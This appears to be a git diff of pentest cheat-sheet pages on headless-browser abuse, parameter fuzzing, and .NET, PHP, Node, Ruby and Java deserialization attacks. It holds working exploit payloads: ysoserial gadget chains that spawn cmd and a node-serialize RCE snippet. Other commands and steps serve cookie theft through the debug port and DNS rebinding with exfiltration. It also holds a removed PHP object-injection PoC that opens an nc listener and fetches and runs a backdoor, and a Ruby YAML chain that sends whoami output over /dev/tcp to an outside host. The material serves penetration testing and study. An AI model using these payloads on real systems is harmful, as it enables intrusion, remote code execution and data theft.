* [slyd0g/WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) - Interact with Chromium-based browsers' debug port to view open tabs, installed extensions, and cookies
* [slyd0g/ripWCMN.py](https://gist.githubusercontent.com/slyd0g/955e7dde432252958e4ecd947b8a7106/raw/d96c939adc66a85fa9464cec4150543eee551356/ripWCMN.py) - WCMN alternative using Python to fix the websocket connection with an empty `origin` Header.
> [!NOTE]
> Since Chrome update from December 20, 2022, you must start the browser with the argument `--remote-allow-origins="*"` to connect to the websocket with WhiteChocolateMacademiaNut.
**Exploits**:
* Connect and interact with the browser: `chrome://inspect/#devices`, `opera://inspect/#devices`
* Kill the currently running browser and use the `--restore-last-session` to get access to the user's tabs
* Data stored in the settings (username, passwords, token): `chrome://settings`
* Port Scan: In a loop open `http://localhost:<port>/json/new?http://callback.example.com?port=<port>`
* Leak UUID: Iframe: `http://127.0.0.1:<port>/json/version`
```json
{
"Browser": "Chrome/136.0.7103.113",
"Protocol-Version": "1.3",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36",
"V8-Version": "13.6.233.10",
"WebKit-Version": "537.36 (@76fa3c1782406c63308c70b54f228fd39c7aaa71)",
"webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/browser/d815e18d-57e6-4274-a307-98649a9e6b87"
}
```
* Local File Read: [pich4ya/chrome_remote_debug_lfi.py](https://gist.github.com/pich4ya/5e7d3d172bb4c03360112fd270045e05)
* Node inspector `--inspect` works like a `--remote-debugging-port`
```ps1
node --inspect app.js # default port 9229
node --inspect=4444 app.js # custom port 4444
node --inspect=0.0.0.0:4444 app.js
```
Starting from Chrome 136, the switches `--remote-debugging-port` and `--remote-debugging-pipe` won't be respected if attempting to debug the default Chrome data directory. These switches must now be accompanied by the `--user-data-dir` switch to point to a non-standard directory.
The flag `--user-data-dir=/path/to/data_dir` is used to specify the user's data directory, where Chromium stores all of its application data such as cookies and history. If you start Chromium without specifying this flag, youll notice that none of your bookmarks, favorites, or history will be loaded into the browser.
## Network
### Port Scanning
Port Scanning: Timing attack
* Dynamically insert an `<img>` tag pointing to a hypothetical closed port. Measure time to onerror.
* Repeat at least 10 times → average time to get an error for a closed port
* Test random port 10 times and measure time to error
* If `time_to_error(random_port) > time_to_error(closed_port)*1.3` → port is opened
**Consideration**:
* Chrome blocks by default a list of "known ports"
* Chrome blocks access to local network addresses except localhost through 0.0.0.0
### DNS Rebinding
* [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
1. Chrome will make 2 DNS requests: `A` and `AAAA` records
* `AAAA` response with valid Internet IP
* `A` response with internal IP
2. Chrome will connect in priority to the IPv6 (evil.net)
3. Close IPv6 listener just after first response
4. Open Iframe to evil.net
5. Chrome will attempt to connect to the IPv6 but as it will fail it will fallback to the IPv4
6. From top window, inject script into iframe to exfiltrate content
## CVE
Exploiting a headless browser using a known vulnerability (CVE) involves several steps, from vulnerability research to payload execution. Below is a structured breakdown of the process:
Identify the headless browser with the User-Agent, then choose an exploit targeting the browser's component: V8 engine, Blink renderer, Webkit, etc.
* Chrome CVE: [2024-9122 - WASM type confusion due to imported tag signature subtyping](https://issues.chromium.org/issues/365802567), [CVE-2025-5419 - Out of bounds read and write in V8](https://nvd.nist.gov/vuln/detail/CVE-2025-5419)
* Firefox : [CVE-2024-9680 - Use after free](https://nvd.nist.gov/vuln/detail/CVE-2024-9680)
The `--no-sandbox` option disables the sandbox feature of the renderer process.
```js
const browser = await puppeteer.launch({
args: ['--no-sandbox']
});
```
## References
* [Browser based Port Scanning with JavaScript - Nikolai Tschacher - January 10, 2021](https://incolumitas.com/2021/01/10/browser-based-port-scanning/)
* [Changes to remote debugging switches to improve security - Will Harris - March 17, 2025](https://developer.chrome.com/blog/remote-debugging-port)
* [Chrome DevTools Protocol - Documentation - July 3, 2017](https://chromedevtools.github.io/devtools-protocol/)
* [Cookies with Chromiums Remote Debugger Port - Justin Bui - December 17, 2020](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)
* [Debugging Cookie Dumping Failures with Chromiums Remote Debugger - Justin Bui - July 16, 2023](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)
* [Node inspector/CEF debug abuse - HackTricks - July 18, 2024](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse)
* [Post-Exploitation: Abusing Chrome's debugging feature to observe and control browsing sessions remotely - wunderwuzzi - April 28, 2020](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
* [Too Lazy to get XSS? Then use n-days to get RCE in the Admin bot - Jopraveen - March 2, 2025](https://jopraveen.github.io/web-hackthebot/)
* [Tricks for Reliable Split-Second DNS Rebinding in Chrome and Safari - Daniel Thatcher - December 6, 2023](https://www.intruder.io/research/split-second-dns-rebinding-in-chrome-and-safari)

View File

@@ -0,0 +1,5 @@
<html>
<body>
<iframe src="/etc/passwd" height="640" width="640"></iframe>
</body>
</html>

View File

@@ -0,0 +1,7 @@
<html>
<body>
<script>
window.location="/etc/passwd"
</script>
</body>
</html>

View File

@@ -0,0 +1,50 @@
# HTTP Hidden Parameters
> Web applications often have hidden or undocumented parameters that are not exposed in the user interface. Fuzzing can help discover these parameters, which might be vulnerable to various attacks.
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [Bruteforce Parameters](#bruteforce-parameters)
* [Old Parameters](#old-parameters)
* [References](#references)
## Tools
* [PortSwigger/param-miner](https://github.com/PortSwigger/param-miner) - Burp extension to identify hidden, unlinked parameters.
* [s0md3v/Arjun](https://github.com/s0md3v/Arjun) - HTTP parameter discovery suite
* [Sh1Yo/x8](https://github.com/Sh1Yo/x8) - Hidden parameters discovery suite
* [tomnomnom/waybackurls](https://github.com/tomnomnom/waybackurls) - Fetch all the URLs that the Wayback Machine knows about for a domain
* [devanshbatham/ParamSpider](https://github.com/devanshbatham/ParamSpider) - Mining URLs from dark corners of Web Archives for bug hunting/fuzzing/further probing
## Methodology
### Bruteforce Parameters
* Use wordlists of common parameters and send them, look for unexpected behavior from the backend.
```ps1
x8 -u "https://example.com/" -w <wordlist>
x8 -u "https://example.com/" -X POST -w <wordlist>
```
Wordlist examples:
* [Arjun/large.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/large.txt)
* [Arjun/medium.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/medium.txt)
* [Arjun/small.txt](https://github.com/s0md3v/Arjun/blob/master/arjun/db/small.txt)
* [samlists/sam-cc-parameters-lowercase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-lowercase-all.txt)
* [samlists/sam-cc-parameters-mixedcase-all.txt](https://github.com/the-xentropy/samlists/blob/main/sam-cc-parameters-mixedcase-all.txt)
### Old Parameters
Explore all the URL from your targets to find old parameters.
* Browse the [Wayback Machine](http://web.archive.org/)
* Look through the JS files to discover unused parameters
## References
* [Hacker tools: Arjun The parameter discovery tool - Intigriti - May 17, 2021](https://blog.intigriti.com/2021/05/17/hacker-tools-arjun-the-parameter-discovery-tool/)
* [Parameter Discovery: A quick guide to start - YesWeHack - April 20, 2022](http://web.archive.org/web/20220420123306/https://blog.yeswehack.com/yeswerhackers/parameter-discovery-quick-guide-to-start)

View File

@@ -0,0 +1,176 @@
# .NET Deserialization
> .NET serialization is the process of converting an objects state into a format that can be easily stored or transmitted, such as XML, JSON, or binary. This serialized data can then be saved to a file, sent over a network, or stored in a database. Later, it can be deserialized to reconstruct the original object with its data intact. Serialization is widely used in .NET for tasks like caching, data transfer between applications, and session state management.
## Summary
* [Detection](#detection)
* [Tools](#tools)
* [Formatters](#formatters)
* [XmlSerializer](#xmlserializer)
* [DataContractSerializer](#datacontractserializer)
* [NetDataContractSerializer](#netdatacontractserializer)
* [LosFormatter](#losformatter)
* [JSON.NET](#jsonnet)
* [BinaryFormatter](#binaryformatter)
* [POP Gadgets](#pop-gadgets)
* [References](#references)
## Detection
| Data | Description |
| -------------- | ------------------- |
| `AAEAAD` (Hex) | .NET BinaryFormatter |
| `FF01` (Hex) | .NET ViewState |
| `/w` (Base64) | .NET ViewState |
Example: `AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=`
## Tools
* [pwntester/ysoserial.net - Deserialization payload generator for a variety of .NET formatters](https://github.com/pwntester/ysoserial.net)
```ps1
cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
```
## Formatters
![NETNativeFormatters.png](https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/Insecure%20Deserialization/Images/NETNativeFormatters.png?raw=true)
.NET Native Formatters from [pwntester/attacking-net-serialization](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=15)
### XmlSerializer
* In C# source code, look for `XmlSerializer(typeof(<TYPE>));`.
* The attacker must control the **type** of the XmlSerializer.
* Payload output: **XML**
```xml
.\ysoserial.exe -g ObjectDataProvider -f XmlSerializer -c "calc.exe"
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc.exe</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
```
### DataContractSerializer
> The DataContractSerializer deserializes in a loosely coupled way. It never reads common language runtime (CLR) type and assembly names from the incoming data. The security model for the XmlSerializer is similar to that of the DataContractSerializer, and differs mostly in details. For example, the XmlIncludeAttribute attribute is used for type inclusion instead of the KnownTypeAttribute attribute.
* In C# source code, look for `DataContractSerializer(typeof(<TYPE>))`.
* Payload output: **XML**
* Data **Type** must be user-controlled to be exploitable
### NetDataContractSerializer
> It extends the `System.Runtime.Serialization.XmlObjectSerializer` class and is capable of serializing any type annotated with serializable attribute as `BinaryFormatter`.
* In C# source code, look for `NetDataContractSerializer().ReadObject()`.
* Payload output: **XML**
```ps1
.\ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
```
### LosFormatter
* Use `BinaryFormatter` internally.
```ps1
.\ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64 -t
```
### JSON.NET
* In C# source code, look for `JsonConvert.DeserializeObject<Expected>(json, new JsonSerializerSettings`.
* Payload output: **JSON**
```ps1
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc.exe" -t
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
### BinaryFormatter
> The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and cant be made secure.
* In C# source code, look for `System.Runtime.Serialization.Binary.BinaryFormatter`.
* Exploitation requires `[Serializable]` or `ISerializable` interface.
* Payload output: **Binary**
```ps1
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
```
## POP Gadgets
These gadgets must have the following properties:
* Serializable
* Public/settable variables
* Magic "functions": Get/Set, OnSerialisation, Constructors/Destructors
You must carefully select your **gadgets** for a targeted **formatter**.
List of popular gadgets used in common payloads.
* **ObjectDataProvider** from `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll`
* Use `MethodParameters` to set arbitrary parameters
* Use `MethodName` to call an arbitrary function
* **ExpandedWrapper**
* Specify the `object types` of the objects that are encapsulated
```cs
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
```
* **System.Configuration.Install.AssemblyInstaller**
* Execute payload with Assembly.Load
```cs
// System.Configuration.Install.AssemblyInstaller
public void set_Path(string value){
if (value == null){
this.assembly = null;
}
this.assembly = Assembly.LoadFrom(value);
}
```
## References
* [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - Slides - James Forshaw - September 20, 2012](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf)
* [ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - White Paper - James Forshaw - September 20, 2012](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
* [Attacking .NET Deserialization - Alvaro Muñoz - April 28, 2018](https://youtu.be/eDfGpu3iE4Q)
* [Attacking .NET Serialization - Alvaro - October 20, 2017](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=11)
* [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) - HackTricks - July 18, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net)
* [Bypassing .NET Serialization Binders - Markus Wulftange - June 28, 2022](https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html)
* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili (@irsdl) - April 23, 2019](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [Finding a New DataContractSerializer RCE Gadget Chain - dugisec - November 7, 2019](https://muffsec.com/blog/finding-a-new-datacontractserializer-rce-gadget-chain/)
* [Friday the 13th: JSON Attacks - DEF CON 25 Conference - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.youtube.com/watch?v=ZBfBYoK_Wr0)
* [Friday the 13th: JSON Attacks - Slides - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* [Friday the 13th: JSON Attacks - White Paper - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)
* [Now You Serial, Now You Don't - Systematically Hunting for Deserialization Exploits - Alyssa Rahman - December 13, 2021](https://www.mandiant.com/resources/blog/hunting-deserialization-exploits)
* [Sitecore Experience Platform Pre-Auth RCE - CVE-2021-42237 - Shubham Shah - November 2, 2021](https://blog.assetnote.io/2021/11/02/sitecore-rce/)

View File

@@ -1,32 +0,0 @@
<?php
/*
PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://crowdshield.com
A simple PoC to exploit PHP Object Injections flaws and gain remote shell access.
Shouts to @jstnkndy @yappare for the assist!
NOTE: This requires http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz setup on a remote host with a connect back IP configured
*/
print "==============================================================================\r\n";
print "PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
print "==============================================================================\r\n";
print "[+] Generating serialized payload...[OK]\r\n";
print "[+] Launching reverse listener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp 4242\'');
class PHPObjectInjection
{
// CHANGE URL/FILENAME TO MATCH YOUR SETUP
public $inject = "system('wget http://127.0.0.1/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
}
$url = 'http://localhost/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TO TARGET URL/PARAMETER
$url = $url . urlencode(serialize(new PHPObjectInjection));
print "[+] Sending exploit...[OK]\r\n";
print "[+] Dropping down to interactive shell...[OK]\r\n";
print "==============================================================================\r\n";
$response = file_get_contents("$url");
?>

View File

@@ -0,0 +1,5 @@
var y = {
rce : function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

View File

@@ -0,0 +1,19 @@
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "bash -c 'echo 1 > /dev/tcp/`whoami`.`hostname`.wkkib01k9lsnq9qm2pogo10tmksagz.burpcollaborator.net/443'"
method_id: :resolve

Binary file not shown.

After

Width:  |  Height:  |  Size: 278 KiB

View File

@@ -1,108 +1,315 @@
# Java Deserialization # Java Deserialization
> Java serialization is the process of converting a Java objects state into a byte stream, which can be stored or transmitted and later reconstructed (deserialized) back into the original object. Serialization in Java is primarily done using the `Serializable` interface, which marks a class as serializable, allowing it to be saved to files, sent over a network, or transferred between JVMs.
## Summary
* [Detection](#detection)
* [Tools](#tools)
* [Ysoserial](#ysoserial)
* [Burp extensions using ysoserial](#burp-extensions)
* [Alternative Tooling](#alternative-tooling)
* [YAML Deserialization](#yaml-deserialization)
* [ViewState](#viewstate)
* [References](#references)
## Detection ## Detection
- "AC ED 00 05" in Hex * `"AC ED 00 05"` in Hex
- "rO0" in Base64 * `AC ED`: STREAM_MAGIC. Specifies that this is a serialization protocol.
- Content-type = "application/x-java-serialized-object" * `00 05`: STREAM_VERSION. The serialization version.
- "H4sIAAAAAAAAAJ" in gzip(base64) * `"rO0"` in Base64
* `Content-Type` = "application/x-java-serialized-object"
* `"H4sIAAAAAAAAAJ"` in gzip(base64)
## Exploit ## Tools
[ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. ### Ysoserial
[frohoff/ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
```java ```java
java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin java -jar ysoserial.jar Groovy1 'ping 127.0.0.1' > payload.bin
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64 java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
``` ```
payload | author | dependencies | impact (if not RCE) **List of payloads included in ysoserial:**
------|--------|------ |------
BeanShell1 |@pwntester, @cschneider4711 |bsh:2.0b5
C3P0 |@mbechler |c3p0:0.9.5.2, mchange-commons-java:0.2.11
Clojure |@JackOfMostTrades |clojure:1.8.0
CommonsBeanutils1 |@frohoff |commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 |@frohoff |commons-collections:3.1
CommonsCollections2 |@frohoff |commons-collections4:4.0
CommonsCollections3 |@frohoff |commons-collections:3.1
CommonsCollections4 |@frohoff |commons-collections4:4.0
CommonsCollections5 |@matthias_kaiser, @jasinner |commons-collections:3.1
CommonsCollections6 |@matthias_kaiser |commons-collections:3.1
FileUpload1 |@mbechler |commons-fileupload:1.3.1, commons-io:2.4 | file uploading
Groovy1 |@frohoff |groovy:2.3.9
Hibernate1 |@mbechler|
Hibernate2 |@mbechler|
JBossInterceptors1 |@matthias_kaiser |javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient |@mbechler|
JRMPListener |@mbechler|
JSON1 |@mbechler |json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 |@matthias_kaiser |javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 |@frohoff|
Jython1 |@pwntester, @cschneider4711 |jython-standalone:2.5.2
MozillaRhino1 |@matthias_kaiser |js:1.7R2
Myfaces1 |@mbechler|
Myfaces2 |@mbechler|
ROME |@mbechler |rome:1.0
Spring1 |@frohoff |spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 |@mbechler |spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS |@gebl| | jre only vuln detect
Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4
## Burp extensions using ysoserial | Payload | Authors | Dependencies |
| ------------------- | -------------------------------------- | --- |
| AspectJWeaver | @Jang | aspectjweaver:1.9.2, commons-collections:3.2.2 |
| BeanShell1 | @pwntester, @cschneider4711 | bsh:2.0b5 |
| C3P0 | @mbechler | c3p0:0.9.5.2, mchange-commons-java:0.2.11 |
| Click1 | @artsploit | click-nodeps:2.3.0, javax.servlet-api:3.1.0 |
| Clojure | @JackOfMostTrades | clojure:1.8.0 |
| CommonsBeanutils1 | @frohoff | commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 |
| CommonsCollections1 | @frohoff | commons-collections:3.1 |
| CommonsCollections2 | @frohoff | commons-collections4:4.0 |
| CommonsCollections3 | @frohoff | commons-collections:3.1 |
| CommonsCollections4 | @frohoff | commons-collections4:4.0 |
| CommonsCollections5 | @matthias_kaiser, @jasinner | commons-collections:3.1 |
| CommonsCollections6 | @matthias_kaiser | commons-collections:3.1 |
| CommonsCollections7 | @scristalli, @hanyrax, @EdoardoVignati | commons-collections:3.1 |
| FileUpload1 | @mbechler | commons-fileupload:1.3.1, commons-io:2.4|
| Groovy1 | @frohoff | groovy:2.3.9 |
| Hibernate1 | @mbechler | |
| Hibernate2 | @mbechler | |
| JBossInterceptors1 | @matthias_kaiser | javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| JRMPClient | @mbechler | |
| JRMPListener | @mbechler | |
| JSON1 | @mbechler | json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 |
| JavassistWeld1 | @matthias_kaiser | javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| Jdk7u21 | @frohoff | |
| Jython1 | @pwntester, @cschneider4711 | jython-standalone:2.5.2 |
| MozillaRhino1 | @matthias_kaiser | js:1.7R2 |
| MozillaRhino2 | @_tint0 | js:1.7R2 |
| Myfaces1 | @mbechler | |
| Myfaces2 | @mbechler | |
| ROME | @mbechler | rome:1.0 |
| Spring1 | @frohoff | spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE |
| Spring2 | @mbechler | spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 |
| URLDNS | @gebl | |
| Vaadin1 | @kai_ullrich | vaadin-server:7.7.14, vaadin-shared:7.7.14 |
| Wicket1 | @jacob-baines | wicket-util:6.23.0, slf4j-api:1.6.4 |
- [JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller) ### Burp extensions
- [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner)
- [Burp-ysoserial](https://github.com/summitt/burp-ysoserial)
- [SuperSerial](https://github.com/DirectDefense/SuperSerial)
- [SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active)
## Other tools * [NetSPI/JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller) - Burp extension to perform Java Deserialization Attacks
* [federicodotta/Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) - All-in-one plugin for Burp Suite for the detection and the exploitation of Java deserialization vulnerabilities
* [summitt/burp-ysoserial](https://github.com/summitt/burp-ysoserial) - YSOSERIAL Integration with Burp Suite
* [DirectDefense/SuperSerial](https://github.com/DirectDefense/SuperSerial) - Burp Java Deserialization Vulnerability Identification
* [DirectDefense/SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active) - Java Deserialization Vulnerability Active Identification Burp Extender
- [JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget) ### Alternative Tooling
- [JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
- [ysoserial-modified](https://github.com/pimps/ysoserial-modified) * [pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget) - Pure JRE 8 RCE Deserialization gadget
- [gadgetprobe](https://labs.bishopfox.com/gadgetprobe) * [joaomatosf/JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
- [marshalsec](https://github.com/mbechler/marshalsec) - Turning your data into code execution * [pimps/ysoserial-modified](https://github.com/pimps/ysoserial-modified) - A fork of the original ysoserial application
* [NickstaDB/SerialBrute](https://github.com/NickstaDB/SerialBrute) - Java serialization brute force attack tool
* [NickstaDB/SerializationDumper](https://github.com/NickstaDB/SerializationDumper) - A tool to dump Java serialization streams in a more human readable form
* [bishopfox/gadgetprobe](https://labs.bishopfox.com/gadgetprobe) - Exploiting Deserialization to Brute-Force the Remote Classpath
* [k3idii/Deserek](https://github.com/k3idii/Deserek) - Python code to Serialize and Unserialize java binary serialization format.
```java
java -jar ysoserial.jar URLDNS http://xx.yy > yss_base.bin
python deserek.py yss_base.bin --format python > yss_url.py
python yss_url.py yss_new.bin
java -cp JavaSerializationTestSuite DeSerial yss_new.bin
```
* [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution
```java
$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
$ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
// -a - generates/tests all payloads for that marshaller
// -t - runs in test mode, unmarshalling the generated payloads after generating them.
// -v - verbose mode, e.g. also shows the generated payload in test mode.
// gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
// arguments - Gadget specific arguments
```
Payload generators for the following marshallers are included:
| Marshaller | Gadget Impact |
| ------------------------------- | ---------------------------------------------- |
| BlazeDSAMF(0&#124;3&#124;X) | JDK only escalation to Java serialization various third party libraries RCEs |
| Hessian&#124;Burlap | various third party RCEs |
| Castor | dependency library RCE |
| Jackson | **possible JDK only RCE**, various third party RCEs |
| Java | yet another third party RCE |
| JsonIO | **JDK only RCE** |
| JYAML | **JDK only RCE** |
| Kryo | third party RCEs |
| KryoAltStrategy | **JDK only RCE** |
| Red5AMF(0&#124;3) | **JDK only RCE** |
| SnakeYAML | **JDK only RCEs** |
| XStream | **JDK only RCEs** |
| YAMLBeans | third party RCE |
## JSON Deserialization
Multiple libraries can be used to handle JSON in Java.
* [json-io](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#json-io-json)
* [Jackson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#jackson-json)
* [Fastjson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#fastjson-json)
* [Genson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)
